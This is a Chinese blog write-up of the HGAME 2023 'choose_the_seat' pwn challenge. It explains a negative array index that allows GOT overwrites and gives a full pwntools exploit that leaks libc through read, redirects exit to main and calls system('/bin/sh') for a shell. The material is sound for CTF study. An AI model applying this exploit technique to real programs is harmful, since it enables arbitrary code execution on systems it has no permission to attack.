首页 > 其他分享 >【pwn】[HGAME 2023 week1]choose_the_seat --数组越界,劫持got表

【pwn】[HGAME 2023 week1]choose_the_seat --数组越界,劫持got表

时间:2023-11-13 20:25:18浏览次数:41  
标签:-- HGAME seat v0 libc read pwn got

查一下程序保护情况

发现是partial relro,说明got表是可以修改的,下一步看代码逻辑

看到这一段 puts(&seats[16 * v0]);存在数组越界的漏洞,因为上面的代码没有对v0进行负数的限制,v0可以是负数,我们来看一下seat的数据

可以发现seat上面的数据就是got表,seat到exit的距离只需要传入v0=-6就可访问,然后就是-7可以访问到read(因为索引是16*v0),以此类推。

此时我们再来看看read(0, &seats[16 * v0], 0x10uLL);这段代码,这段代码表示向里面读入数据,如果我们控制了exit的got表的地址,修改其内容为main函数的地址,那么程序就可以循环运行下去。

exp:

# coding=utf-8 from pwn import * context.log_level='debug'        p=process('./pwn') elf=ELF('./pwn') libc=ELF('./libc-2.31.so') p.sendline(b'-6') p.sendafter(b'name',p64(elf.symbols['main']))                      p.sendlineafter(b'one.\n',b'-7')                                            p.sendafter(b'name',b'\xc0')                            这里是没啥用的,只是为了输入东西,但是又不能影响read函数的地址,c0是再libc-2.31.so查出来的,是read函数偏移的最后一个字节 p.recvuntil(b'Your name is ')                             libc_base=u64(p.recv(6)+b'\x00\x00')-libc.symbols['read']            然后就是后面的代码那边的puts函数泄露地址,libc攻击 print('libc_base:'+hex(libc_base)) system_addr=libc_base+libc.symbols['system'] p.sendlineafter(b'one.\n',b'-9')                                                            利用代码段中puts函数的参数,构造/bin/sh p.sendafter(b'name',b'/bin/sh\x00'+p64(system_addr)) p.interactive()

 

 

 

标签:--,HGAME,seat,v0,libc,read,pwn,got
From: https://www.cnblogs.com/GGbomb/p/17830055.html

相关文章

  • rem适配(移动端)
    移动端适配是开发过程中不得不面对的事情。在此,我们使用postcss中的px2rem-loader,将我们项目中的px按一定比例转化rem,这样我们就可以对着蓝湖上的标注写px了。我们将html字跟字体设置为100px,很多人选择设置为375px,但是我觉得这样换算出来的rem不够精确,而且我们在控......
  • 如何在 Python 中执行 MySQL 结果限制和分页查询
    PythonMySQL限制结果限制结果数量示例1:获取您自己的Python服务器选择"customers"表中的前5条记录:importmysql.connectormydb=mysql.connector.connect(host="localhost",user="您的用户名",password="您的密码",database="我的数据库"......
  • iwtgm-22
    题目链接A.怪物先承受攻击,若承受住了,再回血,没承受住则死亡也就是说若我们这一轮不能把它完全杀死,就要选择让它回血最少的攻击若这一轮最大的攻击力能把它杀死则不用关心回血若不能一招致死且回血大于攻击,那么怪物永远不会被杀死voidsolve(){intn,x;cin>>n>>x;i......
  • 洛谷P8599.带分数
    这道题可以应用数位dp的思想:既然根据限制条件算出符合条件的数很难,如同大海捞针,那我就直接拿可能用到的数字,按数位把它拼出来,反而还更快。对于这道题,三个数字就是1到9全排列的三段,我们只要对每个排列,枚举分段方式即可。#include<stdio.h>#include<algorithm>#include<ios......
  • 异步通讯
    异步调用则可以避免上述问题: 我们以购买商品为例,用户支付后需要调用订单服务完成订单状态修改,调用物流服务,从仓库分配响应的库存并准备发货。在事件模式中,支付服务是事件发布者(publisher),在支付完成后只需要发布一个支付成功的事件(event),事件中带上订单id。订单服务和物流服务......
  • Trie 树
    Trie树是一颗像字典一样的树。在Trie树上用边来表示字母,一个节点到另一个节点的边就是一个字母。实现:点击查看代码voidinsert(chars[]){ intu=0,len=strlen(s); for(inti=0;i<len;i++){ intv=gt(s[i]); if(!son[u][v])son[u][v]=++cn......
  • OAuth1.0的在http请求中的使用方式以及签名算法说明
    1、在httprequestheader的Authorization中,其格式为Authorization:"OAuthoauth_consumer_key="OAuthConsumeKey",oauth_token="OAuthToken",oauth_signature_method="HMAC-SHA256",oauth_timestamp="OAuthTimestamp",oauth_nonc......
  • Xcode15 下载 iOS 17.0.1 Simulator 失败
    更新完Xcode15,启动后自动下载iOS17.0.1Simulator,总是下载失败,可以到苹果官网去网页下载,地址:https://developer.apple.com/download/all/ 下载完之后,终端安装:xcode-select-s/Applications/Xcode.appxcodebuild-runFirstLaunchxcrunsimctlruntimeadd"~/Downloads/i......
  • mybatis返回自增主键值
    对于自增主键在某些业务中保存一个对象后,需要使用到这个主键完成后续的业务逻辑,就需要获取该主键值。1、在接口中定义新增方法intaddStudent(Studentstudent);2、在mapper中配置新增配置方式一:<insertid="addStudent"parameterType="Student"useGeneratedKe......
  • [题解] P4755 Beautiful Pair
    P4755BeautifulPair给你一个长度为\(n\)的序列\(a\),求有多少个区间\([l,r]\)满足\(a_l\cdota_r\le\max_{i=l}^ra_i\)。\(n\le10^5,a_i\le10^9\)。首先按最大值位置分治。记当前分治区间为\([l,r]\),分治中心为\(mid\)。那么我们现在要做的就是统计跨......